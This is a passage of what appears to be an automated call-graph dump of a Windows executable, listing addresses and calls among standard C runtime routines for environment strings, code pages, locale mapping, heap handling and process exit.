API calls 19362->19367 19513 7ff6ffd2a4b0 19363->19513 19366 7ff6ffd2f948 memcpy_s 11 API calls 19370 7ff6ffd31bad 19366->19370 19367->19350 19373 7ff6ffd31b7d 19368->19373 19376 7ff6ffd2b700 __free_lconv_num 11 API calls 19370->19376 19377 7ff6ffd2b700 __free_lconv_num 11 API calls 19371->19377 19372->19361 19372->19362 19519 7ff6ffd3809c 19372->19519 19378 7ff6ffd2b700 __free_lconv_num 11 API calls 19373->19378 19374 7ff6ffd31b21 19379 7ff6ffd25cb4 memcpy_s 11 API calls 19374->19379 19375 7ff6ffd31b3f 19375->19372 19382 7ff6ffd31ec4 45 API calls 19375->19382 19376->19372 19381 7ff6ffd31c3c 19377->19381 19378->19383 19379->19362 19380->19362 19384 7ff6ffd3422c 40 API calls 19380->19384 19387 7ff6ffd3422c 40 API calls 19381->19387 19390 7ff6ffd31c42 19381->19390 19382->19372 19383->19362 19383->19366 19383->19372 19385 7ff6ffd31cc4 19384->19385 19386 7ff6ffd2b700 __free_lconv_num 11 API calls 19385->19386 19388 7ff6ffd31cce 19386->19388 19391 7ff6ffd31c6e 19387->19391 19388->19362 19388->19390 19389 7ff6ffd31d87 19392 7ff6ffd2b700 __free_lconv_num 11 API calls 19389->19392 19390->19389 19394 7ff6ffd2f948 memcpy_s 11 API calls 19390->19394 19393 7ff6ffd2b700 __free_lconv_num 11 API calls 19391->19393 19392->19350 19393->19390 19395 7ff6ffd31d13 19394->19395 19396 7ff6ffd31d1b 19395->19396 19397 7ff6ffd31d24 19395->19397 19399 7ff6ffd2b700 __free_lconv_num 11 API calls 19396->19399 19398 7ff6ffd31344 _wfindfirst32i64 37 API calls 19397->19398 19401 7ff6ffd31d32 19398->19401 19400 7ff6ffd31d22 19399->19400 19407 7ff6ffd2b700 __free_lconv_num 11 API calls 19400->19407 19402 7ff6ffd31dc7 19401->19402 19403 7ff6ffd31d3a SetEnvironmentVariableW 19401->19403 19406 7ff6ffd2b6b8 _wfindfirst32i64 17 API calls 19402->19406 19404 7ff6ffd31d5e 19403->19404 19405 7ff6ffd31d7f 19403->19405 19408 7ff6ffd25cb4 memcpy_s 11 API calls 19404->19408 19410 7ff6ffd2b700 __free_lconv_num 11 API calls 19405->19410 19409 7ff6ffd31ddb 19406->19409 19407->19350 19411 7ff6ffd31d63 19408->19411 19410->19389 19412 7ff6ffd2b700 __free_lconv_num 11 API calls 19411->19412 19412->19400 19414 7ff6ffd31ee7 19413->19414 19415 7ff6ffd31f04 19413->19415 19414->19356 19416 7ff6ffd2f948 memcpy_s 11 API calls 19415->19416 19423 7ff6ffd31f28 19416->19423 19417 7ff6ffd31fac 19419 7ff6ffd2b2bc __CxxCallCatchBlock 45 API calls 19417->19419 19418 7ff6ffd31f89 19421 7ff6ffd2b700 __free_lconv_num 11 API calls 19418->19421 19420 7ff6ffd31fb2 19419->19420 19421->19414 19422 7ff6ffd2f948 memcpy_s 11 API calls 19422->19423 19423->19417 19423->19418 19423->19422 19424 7ff6ffd2b700 __free_lconv_num 11 API calls 19423->19424 19425 7ff6ffd31344 _wfindfirst32i64 37 API calls 19423->19425 19426 7ff6ffd31f98 19423->19426 19424->19423 19425->19423 19427 7ff6ffd2b6b8 _wfindfirst32i64 17 API calls 19426->19427 19427->19417 19429 7ff6ffd31df9 19428->19429 19430 7ff6ffd31e11 19428->19430 19429->19289 19431 7ff6ffd2f948 memcpy_s 11 API calls 19430->19431 19437 7ff6ffd31e35 19431->19437 19432 7ff6ffd2b2bc __CxxCallCatchBlock 45 API calls 19434 7ff6ffd31ec0 19432->19434 19433 7ff6ffd31e96 19435 7ff6ffd2b700 __free_lconv_num 11 API calls 19433->19435 19435->19429 19436 7ff6ffd2f948 memcpy_s 11 API calls 19436->19437 19437->19433 19437->19436 19438 7ff6ffd2b700 __free_lconv_num 11 API calls 19437->19438 19439 7ff6ffd2b25c __std_exception_copy 37 API calls 19437->19439 19440 7ff6ffd31ea5 19437->19440 19442 7ff6ffd31eba 19437->19442 19438->19437 19439->19437 19441 7ff6ffd2b6b8 _wfindfirst32i64 17 API calls 19440->19441 19441->19442 19442->19432 19444 7ff6ffd2a484 19443->19444 19447 7ff6ffd2a48d 19443->19447 19444->19447 19543 7ff6ffd29f4c 19444->19543 19447->19305 19447->19306 19450 7ff6ffd381e9 19449->19450 19451 7ff6ffd3738c 19449->19451 19453 7ff6ffd25788 45 API calls 19450->19453 19452 7ff6ffd373cf 19451->19452 19456 7ff6ffd37399 19451->19456 19455 7ff6ffd373f9 19452->19455 19464 7ff6ffd3741e 19452->19464 19457 7ff6ffd3821d 19453->19457 19454 7ff6ffd25cb4 memcpy_s 11 API calls 19458 7ff6ffd373a3 19454->19458 19459 7ff6ffd25cb4 memcpy_s 11 API calls 19455->19459 19456->19454 19472 7ff6ffd37340 19456->19472 19460 7ff6ffd38222 19457->19460 19461 7ff6ffd38233 19457->19461 19465 7ff6ffd3824a 19457->19465 19462 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 19458->19462 19463 7ff6ffd373fe 19459->19463 19460->19299 19466 7ff6ffd25cb4 memcpy_s 11 API calls 19461->19466 19467 7ff6ffd373ae 19462->19467 19468 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 19463->19468 19473 7ff6ffd25788 45 API calls 19464->19473 19478 7ff6ffd37409 19464->19478 19470 7ff6ffd38266 19465->19470 19471 7ff6ffd38254 19465->19471 19469 7ff6ffd38238 19466->19469 19467->19299 19468->19478 19474 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 19469->19474 19476 7ff6ffd38277 19470->19476 19477 7ff6ffd3828e 19470->19477 19475 7ff6ffd25cb4 memcpy_s 11 API calls 19471->19475 19472->19299 19473->19478 19474->19460 19480 7ff6ffd38259 19475->19480 19766 7ff6ffd373dc 19476->19766 19775 7ff6ffd3a004 19477->19775 19478->19299 19483 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 19480->19483 19483->19460 19484 7ff6ffd25cb4 memcpy_s 11 API calls 19484->19460 19486 7ff6ffd3426b 19485->19486 19487 7ff6ffd3424e 19485->19487 19489 7ff6ffd34275 19486->19489 19815 7ff6ffd38ce8 19486->19815 19487->19486 19488 7ff6ffd3425c 19487->19488 19491 7ff6ffd25cb4 memcpy_s 11 API calls 19488->19491 19822 7ff6ffd313ac 19489->19822 19493 7ff6ffd34261 memcpy_s 19491->19493 19493->19324 19495 7ff6ffd25788 45 API calls 19494->19495 19496 7ff6ffd3835a 19495->19496 19497 7ff6ffd2fbd4 5 API calls 19496->19497 19498 7ff6ffd38368 19496->19498 19497->19498 19499 7ff6ffd25d74 14 API calls 19498->19499 19500 7ff6ffd383c4 19499->19500 19501 7ff6ffd25788 45 API calls 19500->19501 19502 7ff6ffd38454 19500->19502 19503 7ff6ffd383d7 19501->19503 19504 7ff6ffd38465 19502->19504 19505 7ff6ffd2b700 __free_lconv_num 11 API calls 19502->19505 19507 7ff6ffd2fbd4 5 API calls 19503->19507 19509 7ff6ffd383e0 19503->19509 19506 7ff6ffd319fb 19504->19506 19508 7ff6ffd2b700 __free_lconv_num 11 API calls 19504->19508 19505->19504 19506->19343 19506->19344 19507->19509 19508->19506 19510 7ff6ffd25d74 14 API calls 19509->19510 19511 7ff6ffd3843b 19510->19511 19511->19502 19512 7ff6ffd38443 SetEnvironmentVariableW 19511->19512 19512->19502 19514 7ff6ffd2a4c0 19513->19514 19518 7ff6ffd2a4c9 19513->19518 19514->19518 19834 7ff6ffd29fc0 19514->19834 19518->19374 19518->19375 19520 7ff6ffd380a9 19519->19520 19524 7ff6ffd380d6 19519->19524 19521 7ff6ffd380ae 19520->19521 19520->19524 19522 7ff6ffd25cb4 memcpy_s 11 API calls 19521->19522 19525 7ff6ffd380b3 19522->19525 19523 7ff6ffd3811a 19526 7ff6ffd25cb4 memcpy_s 11 API calls 19523->19526 19524->19523 19527 7ff6ffd38139 19524->19527 19541 7ff6ffd3810e __crtLCMapStringW 19524->19541 19528 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 19525->19528 19529 7ff6ffd3811f 19526->19529 19530 7ff6ffd38155 19527->19530 19531 7ff6ffd38143 19527->19531 19532 7ff6ffd380be 19528->19532 19535 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 19529->19535 19534 7ff6ffd25788 45 API calls 19530->19534 19533 7ff6ffd25cb4 memcpy_s 11 API calls 19531->19533 19532->19372 19536 7ff6ffd38148 19533->19536 19537 7ff6ffd38162 19534->19537 19535->19541 19538 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 19536->19538 19537->19541 19881 7ff6ffd39bc0 19537->19881 19538->19541 19541->19372 19542 7ff6ffd25cb4 memcpy_s 11 API calls 19542->19541 19544 7ff6ffd29f61 19543->19544 19545 7ff6ffd29f65 19543->19545 19544->19447 19558 7ff6ffd2a2a0 19544->19558 19566 7ff6ffd33440 19545->19566 19550 7ff6ffd29f77 19552 7ff6ffd2b700 __free_lconv_num 11 API calls 19550->19552 19551 7ff6ffd29f83 19592 7ff6ffd2a030 19551->19592 19552->19544 19555 7ff6ffd2b700 __free_lconv_num 11 API calls 19556 7ff6ffd29faa 19555->19556 19557 7ff6ffd2b700 __free_lconv_num 11 API calls 19556->19557 19557->19544 19559 7ff6ffd2a2c9 19558->19559 19560 7ff6ffd2a2e2 19558->19560 19559->19447 19560->19559 19561 7ff6ffd2f948 memcpy_s 11 API calls 19560->19561 19562 7ff6ffd2a372 19560->19562 19563 7ff6ffd31640 WideCharToMultiByte 19560->19563 19565 7ff6ffd2b700 __free_lconv_num 11 API calls 19560->19565 19561->19560 19564 7ff6ffd2b700 __free_lconv_num 11 API calls 19562->19564 19563->19560 19564->19559 19565->19560 19567 7ff6ffd29f6a 19566->19567 19568 7ff6ffd3344d 19566->19568 19572 7ff6ffd3377c GetEnvironmentStringsW 19567->19572 19611 7ff6ffd2bfd4 19568->19611 19573 7ff6ffd337ac 19572->19573 19574 7ff6ffd29f6f 19572->19574 19575 7ff6ffd31640 WideCharToMultiByte 19573->19575 19574->19550 19574->19551 19576 7ff6ffd337fd 19575->19576 19577 7ff6ffd33804 FreeEnvironmentStringsW 19576->19577 19578 7ff6ffd2e3ac _fread_nolock 12 API calls 19576->19578 19577->19574 19579 7ff6ffd33817 19578->19579 19580 7ff6ffd33828 19579->19580 19581 7ff6ffd3381f 19579->19581 19583 7ff6ffd31640 WideCharToMultiByte 19580->19583 19582 7ff6ffd2b700 __free_lconv_num 11 API calls 19581->19582 19584 7ff6ffd33826 19582->19584 19585 7ff6ffd3384b 19583->19585 19584->19577 19586 7ff6ffd33859 19585->19586 19587 7ff6ffd3384f 19585->19587 19588 7ff6ffd2b700 __free_lconv_num 11 API calls 19586->19588 19589 7ff6ffd2b700 __free_lconv_num 11 API calls 19587->19589 19590 7ff6ffd33857 FreeEnvironmentStringsW 19588->19590 19589->19590 19590->19574 19593 7ff6ffd2a055 19592->19593 19594 7ff6ffd2f948 memcpy_s 11 API calls 19593->19594 19604 7ff6ffd2a08b 19594->19604 19595 7ff6ffd2b700 __free_lconv_num 11 API calls 19596 7ff6ffd29f8b 19595->19596 19596->19555 19597 7ff6ffd2a106 19598 7ff6ffd2b700 __free_lconv_num 11 API calls 19597->19598 19598->19596 19599 7ff6ffd2f948 memcpy_s 11 API calls 19599->19604 19600 7ff6ffd2a0f5 19760 7ff6ffd2a25c 19600->19760 19602 7ff6ffd2b25c __std_exception_copy 37 API calls 19602->19604 19604->19597 19604->19599 19604->19600 19604->19602 19606 7ff6ffd2a12b 19604->19606 19607 7ff6ffd2a093 19604->19607 19609 7ff6ffd2b700 __free_lconv_num 11 API calls 19604->19609 19605 7ff6ffd2b700 __free_lconv_num 11 API calls 19605->19607 19608 7ff6ffd2b6b8 _wfindfirst32i64 17 API calls 19606->19608 19607->19595 19610 7ff6ffd2a13e 19608->19610 19609->19604 19612 7ff6ffd2c000 FlsSetValue 19611->19612 19613 7ff6ffd2bfe5 FlsGetValue 19611->19613 19614 7ff6ffd2c00d 19612->19614 19615 7ff6ffd2bff2 19612->19615 19613->19615 19616 7ff6ffd2bffa 19613->19616 19618 7ff6ffd2f948 memcpy_s 11 API calls 19614->19618 19617 7ff6ffd2b2bc __CxxCallCatchBlock 45 API calls 19615->19617 19619 7ff6ffd2bff8 19615->19619 19616->19612 19620 7ff6ffd2c075 19617->19620 19621 7ff6ffd2c01c 19618->19621 19631 7ff6ffd33114 19619->19631 19622 7ff6ffd2c03a FlsSetValue 19621->19622 19623 7ff6ffd2c02a FlsSetValue 19621->19623 19625 7ff6ffd2c058 19622->19625 19626 7ff6ffd2c046 FlsSetValue 19622->19626 19624 7ff6ffd2c033 19623->19624 19627 7ff6ffd2b700 __free_lconv_num 11 API calls 19624->19627 19628 7ff6ffd2bcac memcpy_s 11 API calls 19625->19628 19626->19624 19627->19615 19629 7ff6ffd2c060 19628->19629 19630 7ff6ffd2b700 __free_lconv_num 11 API calls 19629->19630 19630->19619 19654 7ff6ffd33384 19631->19654 19633 7ff6ffd33149 19669 7ff6ffd32e14 19633->19669 19636 7ff6ffd33166 19636->19567 19637 7ff6ffd2e3ac _fread_nolock 12 API calls 19638 7ff6ffd33177 19637->19638 19639 7ff6ffd3317f 19638->19639 19641 7ff6ffd3318e 19638->19641 19640 7ff6ffd2b700 __free_lconv_num 11 API calls 19639->19640 19640->19636 19641->19641 19676 7ff6ffd334bc 19641->19676 19644 7ff6ffd3328a 19645 7ff6ffd25cb4 memcpy_s 11 API calls 19644->19645 19646 7ff6ffd3328f 19645->19646 19648 7ff6ffd2b700 __free_lconv_num 11 API calls 19646->19648 19647 7ff6ffd332e5 19650 7ff6ffd3334c 19647->19650 19687 7ff6ffd32c44 19647->19687 19648->19636 19649 7ff6ffd332a4 19649->19647 19652 7ff6ffd2b700 __free_lconv_num 11 API calls 19649->19652 19651 7ff6ffd2b700 __free_lconv_num 11 API calls 19650->19651 19651->19636 19652->19647 19655 7ff6ffd333a7 19654->19655 19657 7ff6ffd333b1 19655->19657 19702 7ff6ffd311a8 EnterCriticalSection 19655->19702 19660 7ff6ffd33423 19657->19660 19662 7ff6ffd2b2bc __CxxCallCatchBlock 45 API calls 19657->19662 19660->19633 19663 7ff6ffd3343b 19662->19663 19664 7ff6ffd33492 19663->19664 19666 7ff6ffd2bfd4 50 API calls 19663->19666 19664->19633 19667 7ff6ffd3347c 19666->19667 19668 7ff6ffd33114 65 API calls 19667->19668 19668->19664 19670 7ff6ffd25788 45 API calls 19669->19670 19671 7ff6ffd32e28 19670->19671 19672 7ff6ffd32e46 19671->19672 19673 7ff6ffd32e34 GetOEMCP 19671->19673 19674 7ff6ffd32e4b GetACP 19672->19674 19675 7ff6ffd32e5b 19672->19675 19673->19675 19674->19675 19675->19636 19675->19637 19677 7ff6ffd32e14 47 API calls 19676->19677 19678 7ff6ffd334e9 19677->19678 19679 7ff6ffd3363f 19678->19679 19680 7ff6ffd33526 IsValidCodePage 19678->19680 19686 7ff6ffd33540 memcpy_s 19678->19686 19681 7ff6ffd1c010 _wfindfirst32i64 8 API calls 19679->19681 19680->19679 19683 7ff6ffd33537 19680->19683 19682 7ff6ffd33281 19681->19682 19682->19644 19682->19649 19684 7ff6ffd33566 GetCPInfo 19683->19684 19683->19686 19684->19679 19684->19686 19703 7ff6ffd32f2c 19686->19703 19759 7ff6ffd311a8 EnterCriticalSection 19687->19759 19704 7ff6ffd32f69 GetCPInfo 19703->19704 19705 7ff6ffd3305f 19703->19705 19704->19705 19711 7ff6ffd32f7c 19704->19711 19706 7ff6ffd1c010 _wfindfirst32i64 8 API calls 19705->19706 19708 7ff6ffd330fe 19706->19708 19707 7ff6ffd33c90 48 API calls 19709 7ff6ffd32ff3 19707->19709 19708->19679 19714 7ff6ffd38c34 19709->19714 19711->19707 19713 7ff6ffd38c34 54 API calls 19713->19705 19715 7ff6ffd25788 45 API calls 19714->19715 19716 7ff6ffd38c59 19715->19716 19719 7ff6ffd38900 19716->19719 19720 7ff6ffd38941 19719->19720 19721 7ff6ffd303f0 _fread_nolock MultiByteToWideChar 19720->19721 19726 7ff6ffd3898b 19721->19726 19722 7ff6ffd38c09 19723 7ff6ffd1c010 _wfindfirst32i64 8 API calls 19722->19723 19725 7ff6ffd33026 19723->19725 19724 7ff6ffd38ac1 19724->19722 19729 7ff6ffd2b700 __free_lconv_num 11 API calls 19724->19729 19725->19713 19726->19722 19726->19724 19727 7ff6ffd2e3ac _fread_nolock 12 API calls 19726->19727 19728 7ff6ffd389c3 19726->19728 19727->19728 19728->19724 19730 7ff6ffd303f0 _fread_nolock MultiByteToWideChar 19728->19730 19729->19722 19731 7ff6ffd38a36 19730->19731 19731->19724 19750 7ff6ffd2fd94 19731->19750 19734 7ff6ffd38a81 19734->19724 19737 7ff6ffd2fd94 __crtLCMapStringW 6 API calls 19734->19737 19735 7ff6ffd38ad2 19736 7ff6ffd2e3ac _fread_nolock 12 API calls 19735->19736 19738 7ff6ffd38ba4 19735->19738 19740 7ff6ffd38af0 19735->19740 19736->19740 19737->19724 19738->19724 19739 7ff6ffd2b700 __free_lconv_num 11 API calls 19738->19739 19739->19724 19740->19724 19741 7ff6ffd2fd94 __crtLCMapStringW 6 API calls 19740->19741 19742 7ff6ffd38b70 19741->19742 19742->19738 19743 7ff6ffd38ba6 19742->19743 19744 7ff6ffd38b90 19742->19744 19746 7ff6ffd31640 WideCharToMultiByte 19743->19746 19745 7ff6ffd31640 WideCharToMultiByte 19744->19745 19747 7ff6ffd38b9e 19745->19747 19746->19747 19747->19738 19748 7ff6ffd38bbe 19747->19748 19748->19724 19749 7ff6ffd2b700 __free_lconv_num 11 API calls 19748->19749 19749->19724 19751 7ff6ffd2f9c0 __crtLCMapStringW 5 API calls 19750->19751 19752 7ff6ffd2fdd2 19751->19752 19753 7ff6ffd2fdda 19752->19753 19756 7ff6ffd2fe80 19752->19756 19753->19724 19753->19734 19753->19735 19755 7ff6ffd2fe43 LCMapStringW 19755->19753 19757 7ff6ffd2f9c0 __crtLCMapStringW 5 API calls 19756->19757 19758 7ff6ffd2feae __crtLCMapStringW 19757->19758 19758->19755 19764 7ff6ffd2a261 19760->19764 19765 7ff6ffd2a0fd 19760->19765 19761 7ff6ffd2a28a 19763 7ff6ffd2b700 __free_lconv_num 11 API calls 19761->19763 19762 7ff6ffd2b700 __free_lconv_num 11 API calls 19762->19764 19763->19765 19764->19761 19764->19762 19765->19605 19767 7ff6ffd373f9 19766->19767 19768 7ff6ffd37410 19766->19768 19769 7ff6ffd25cb4 memcpy_s 11 API calls 19767->19769 19768->19767 19771 7ff6ffd3741e 19768->19771 19770 7ff6ffd373fe 19769->19770 19772 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 19770->19772 19773 7ff6ffd25788 45 API calls 19771->19773 19774 7ff6ffd37409 19771->19774 19772->19774 19773->19774 19774->19460 19776 7ff6ffd25788 45 API calls 19775->19776 19777 7ff6ffd3a029 19776->19777 19780 7ff6ffd39c80 19777->19780 19783 7ff6ffd39cce 19780->19783 19781 7ff6ffd1c010 _wfindfirst32i64 8 API calls 19782 7ff6ffd382b5 19781->19782 19782->19460 19782->19484 19784 7ff6ffd39d55 19783->19784 19786 7ff6ffd39d40 GetCPInfo 19783->19786 19790 7ff6ffd39d59 19783->19790 19785 7ff6ffd303f0 _fread_nolock MultiByteToWideChar 19784->19785 19784->19790 19787 7ff6ffd39ded 19785->19787 19786->19784 19786->19790 19788 7ff6ffd2e3ac _fread_nolock 12 API calls 19787->19788 19789 7ff6ffd39e24 19787->19789 19787->19790 19788->19789 19789->19790 19791 7ff6ffd303f0 _fread_nolock MultiByteToWideChar 19789->19791 19790->19781 19792 7ff6ffd39e92 19791->19792 19793 7ff6ffd39f74 19792->19793 19794 7ff6ffd303f0 _fread_nolock MultiByteToWideChar 19792->19794 19793->19790 19795 7ff6ffd2b700 __free_lconv_num 11 API calls 19793->19795 19796 7ff6ffd39eb8 19794->19796 19795->19790 19796->19793 19797 7ff6ffd2e3ac _fread_nolock 12 API calls 19796->19797 19798 7ff6ffd39ee5 19796->19798 19797->19798 19798->19793 19799 7ff6ffd303f0 _fread_nolock MultiByteToWideChar 19798->19799 19800 7ff6ffd39f5c 19799->19800 19801 7ff6ffd39f7c 19800->19801 19802 7ff6ffd39f62 19800->19802 19809 7ff6ffd2fc18 19801->19809 19802->19793 19804 7ff6ffd2b700 __free_lconv_num 11 API calls 19802->19804 19804->19793 19806 7ff6ffd39fbb 19806->19790 19808 7ff6ffd2b700 __free_lconv_num 11 API calls 19806->19808 19807 7ff6ffd2b700 __free_lconv_num 11 API calls 19807->19806 19808->19790 19810 7ff6ffd2f9c0 __crtLCMapStringW 5 API calls 19809->19810 19811 7ff6ffd2fc56 19810->19811 19812 7ff6ffd2fe80 __crtLCMapStringW 5 API calls 19811->19812 19814 7ff6ffd2fc5e 19811->19814 19813 7ff6ffd2fcc7 CompareStringW 19812->19813 19813->19814 19814->19806 19814->19807 19816 7ff6ffd38d0a HeapSize 19815->19816 19817 7ff6ffd38cf1 19815->19817 19818 7ff6ffd25cb4 memcpy_s 11 API calls 19817->19818 19819 7ff6ffd38cf6 19818->19819 19820 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 19819->19820 19821 7ff6ffd38d01 19820->19821 19821->19489 19823 7ff6ffd313cb 19822->19823 19824 7ff6ffd313c1 19822->19824 19826 7ff6ffd313d0 19823->19826 19832 7ff6ffd313d7 memcpy_s 19823->19832 19825 7ff6ffd2e3ac _fread_nolock 12 API calls 19824->19825 19830 7ff6ffd313c9 19825->19830 19827 7ff6ffd2b700 __free_lconv_num 11 API calls 19826->19827 19827->19830 19828 7ff6ffd313dd 19831 7ff6ffd25cb4 memcpy_s 11 API calls 19828->19831 19829 7ff6ffd3140a HeapReAlloc 19829->19830 19829->19832 19830->19493 19831->19830 19832->19828 19832->19829 19833 7ff6ffd343e0 memcpy_s 2 API calls 19832->19833 19833->19832 19835 7ff6ffd29fd9 19834->19835 19836 7ff6ffd29fd5 19834->19836 19855 7ff6ffd3388c GetEnvironmentStringsW 19835->19855 19836->19518 19847 7ff6ffd2a380 19836->19847 19839 7ff6ffd29fe6 19841 7ff6ffd2b700 __free_lconv_num 11 API calls 19839->19841 19840 7ff6ffd29ff2 19862 7ff6ffd2a140 19840->19862 19841->19836 19844 7ff6ffd2b700 __free_lconv_num 11 API calls 19845 7ff6ffd2a019 19844->19845 19846 7ff6ffd2b700 __free_lconv_num 11 API calls 19845->19846 19846->19836 19848 7ff6ffd2a3a3 19847->19848 19851 7ff6ffd2a3ba 19847->19851 19848->19518 19849 7ff6ffd303f0 MultiByteToWideChar _fread_nolock 19849->19851 19850 7ff6ffd2f948 memcpy_s 11 API calls 19850->19851 19851->19848 19851->19849 19851->19850 19852 7ff6ffd2a42e 19851->19852 19854 7ff6ffd2b700 __free_lconv_num 11 API calls 19851->19854 19853 7ff6ffd2b700 __free_lconv_num 11 API calls 19852->19853 19853->19848 19854->19851 19856 7ff6ffd338b0 19855->19856 19857 7ff6ffd29fde 19855->19857 19858 7ff6ffd2e3ac _fread_nolock 12 API calls 19856->19858 19857->19839 19857->19840 19859 7ff6ffd338e7 memcpy_s 19858->19859 19860 7ff6ffd2b700 __free_lconv_num 11 API calls 19859->19860 19861 7ff6ffd33907 FreeEnvironmentStringsW 19860->19861 19861->19857 19863 7ff6ffd2a168 19862->19863 19864 7ff6ffd2f948 memcpy_s 11 API calls 19863->19864 19876 7ff6ffd2a1a3 19864->19876 19865 7ff6ffd2a1ab 19866 7ff6ffd2b700 __free_lconv_num 11 API calls 19865->19866 19867 7ff6ffd29ffa 19866->19867 19867->19844 19868 7ff6ffd2a225 19869 7ff6ffd2b700 __free_lconv_num 11 API calls 19868->19869 19869->19867 19870 7ff6ffd2f948 memcpy_s 11 API calls 19870->19876 19871 7ff6ffd2a214 19872 7ff6ffd2a25c 11 API calls 19871->19872 19874 7ff6ffd2a21c 19872->19874 19873 7ff6ffd31344 _wfindfirst32i64 37 API calls 19873->19876 19877 7ff6ffd2b700 __free_lconv_num 11 API calls 19874->19877 19875 7ff6ffd2a248 19879 7ff6ffd2b6b8 _wfindfirst32i64 17 API calls 19875->19879 19876->19865 19876->19868 19876->19870 19876->19871 19876->19873 19876->19875 19878 7ff6ffd2b700 __free_lconv_num 11 API calls 19876->19878 19877->19865 19878->19876 19880 7ff6ffd2a25a 19879->19880 19882 7ff6ffd39be9 __crtLCMapStringW 19881->19882 19883 7ff6ffd3819e 19882->19883 19884 7ff6ffd2fc18 6 API calls 19882->19884 19883->19541 19883->19542 19884->19883 19952 7ff6ffd1b5a0 19953 7ff6ffd1b5ce 19952->19953 19954 7ff6ffd1b5b5 19952->19954 19954->19953 19956 7ff6ffd2e3ac 12 API calls 19954->19956 19955 7ff6ffd1b62c 19956->19955 20362 7ff6ffd3bea9 20363 7ff6ffd3beb8 20362->20363 20364 7ff6ffd3bec2 20362->20364 20366 7ff6ffd31208 LeaveCriticalSection 20363->20366 20001 7ff6ffd32500 20012 7ff6ffd38494 20001->20012 20013 7ff6ffd384a1 20012->20013 20014 7ff6ffd2b700 __free_lconv_num 11 API calls 20013->20014 20015 7ff6ffd384bd 20013->20015 20014->20013 20016 7ff6ffd2b700 __free_lconv_num 11 API calls 20015->20016 20017 7ff6ffd32509 20015->20017 20016->20015 20018 7ff6ffd311a8 EnterCriticalSection 20017->20018 20019 7ff6ffd2ab00 20022 7ff6ffd2aa80 20019->20022 20029 7ff6ffd311a8 EnterCriticalSection 20022->20029 20838 7ff6ffd2bd80 20839 7ff6ffd2bd9a 20838->20839 20840 7ff6ffd2bd85 20838->20840 20844 7ff6ffd2bda0 20840->20844 20845 7ff6ffd2bdea 20844->20845 20846 7ff6ffd2bde2 20844->20846 20848 7ff6ffd2b700 __free_lconv_num 11 API calls 20845->20848 20847 7ff6ffd2b700 __free_lconv_num 11 API calls 20846->20847 20847->20845 20849 7ff6ffd2bdf7 20848->20849 20850 7ff6ffd2b700 __free_lconv_num 11 API calls 20849->20850 20851 7ff6ffd2be04 20850->20851 20852 7ff6ffd2b700 __free_lconv_num 11 API calls 20851->20852 20853 7ff6ffd2be11 20852->20853 20854 7ff6ffd2b700 __free_lconv_num 11 API calls 20853->20854 20855 7ff6ffd2be1e 20854->20855 20856 7ff6ffd2b700 __free_lconv_num 11 API calls 20855->20856 20857 7ff6ffd2be2b 20856->20857 20858 7ff6ffd2b700 __free_lconv_num 11 API calls 20857->20858 20859 7ff6ffd2be38 20858->20859 20860 7ff6ffd2b700 __free_lconv_num 11 API calls 20859->20860 20861 7ff6ffd2be45 20860->20861 20862 7ff6ffd2b700 __free_lconv_num 11 API calls 20861->20862 20863 7ff6ffd2be55 20862->20863 20864 7ff6ffd2b700 __free_lconv_num 11 API calls 20863->20864 20865 7ff6ffd2be65 20864->20865 20870 7ff6ffd2bc4c 20865->20870 20884 7ff6ffd311a8 EnterCriticalSection 20870->20884 20030 7ff6ffd25b00 20031 7ff6ffd25b0b 20030->20031 20039 7ff6ffd2ff54 20031->20039 20052 7ff6ffd311a8 EnterCriticalSection 20039->20052 20411 7ff6ffd3bc8e 20412 7ff6ffd3bc9e 20411->20412 20415 7ff6ffd25b68 LeaveCriticalSection 20412->20415 19957 7ff6ffd2a715 19958 7ff6ffd2b188 45 API calls 19957->19958 19959 7ff6ffd2a71a 19958->19959 19960 7ff6ffd2a78b 19959->19960 19961 7ff6ffd2a741 GetModuleHandleW 19959->19961 19969 7ff6ffd2a618 19960->19969 19961->19960 19967 7ff6ffd2a74e 19961->19967 19967->19960 19983 7ff6ffd2a83c GetModuleHandleExW 19967->19983 19989 7ff6ffd311a8 EnterCriticalSection 19969->19989 19984 7ff6ffd2a899 19983->19984 19985 7ff6ffd2a870 GetProcAddress 19983->19985 19986 7ff6ffd2a89e FreeLibrary 19984->19986 19987 7ff6ffd2a8a5 19984->19987 19988 7ff6ffd2a882 19985->19988 19986->19987 19987->19960 19988->19984 20502 7ff6ffd3be14 20505 7ff6ffd25b68 LeaveCriticalSection 20502->20505 16124 7ff6ffd304dc 16125 7ff6ffd306ce 16124->16125 16127 7ff6ffd3051e _isindst 16124->16127 16176 7ff6ffd25cb4 16125->16176 16127->16125 16130 7ff6ffd3059e _isindst 16127->16130 16145 7ff6ffd370e4 16130->16145 16135 7ff6ffd306fa 16188 7ff6ffd2b6b8 IsProcessorFeaturePresent 16135->16188 16142 7ff6ffd305fb 16144 7ff6ffd306be 16142->16144 16169 7ff6ffd37128 16142->16169 16179 7ff6ffd1c010 16144->16179 16146 7ff6ffd305bc 16145->16146 16147 7ff6ffd370f3 16145->16147 16151 7ff6ffd364e8 16146->16151 16192 7ff6ffd311a8 EnterCriticalSection 16147->16192 16152 7ff6ffd364f1 16151->16152 16156 7ff6ffd305d1 16151->16156 16153 7ff6ffd25cb4 memcpy_s 11 API calls 16152->16153 16154 7ff6ffd364f6 16153->16154 16193 7ff6ffd2b698 16154->16193 16156->16135 16157 7ff6ffd36518 16156->16157 16158 7ff6ffd305e2 16157->16158 16159 7ff6ffd36521 16157->16159 16158->16135 16163 7ff6ffd36548 16158->16163 16160 7ff6ffd25cb4 memcpy_s 11 API calls 16159->16160 16161 7ff6ffd36526 16160->16161 16162 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 16161->16162 16162->16158 16164 7ff6ffd305f3 16163->16164 16165 7ff6ffd36551 16163->16165 16164->16135 16164->16142 16166 7ff6ffd25cb4 memcpy_s 11 API calls 16165->16166 16167 7ff6ffd36556 16166->16167 16168 7ff6ffd2b698 _invalid_parameter_noinfo 37 API calls 16167->16168 16168->16164 16274 7ff6ffd311a8 EnterCriticalSection 16169->16274 16275 7ff6ffd2c078 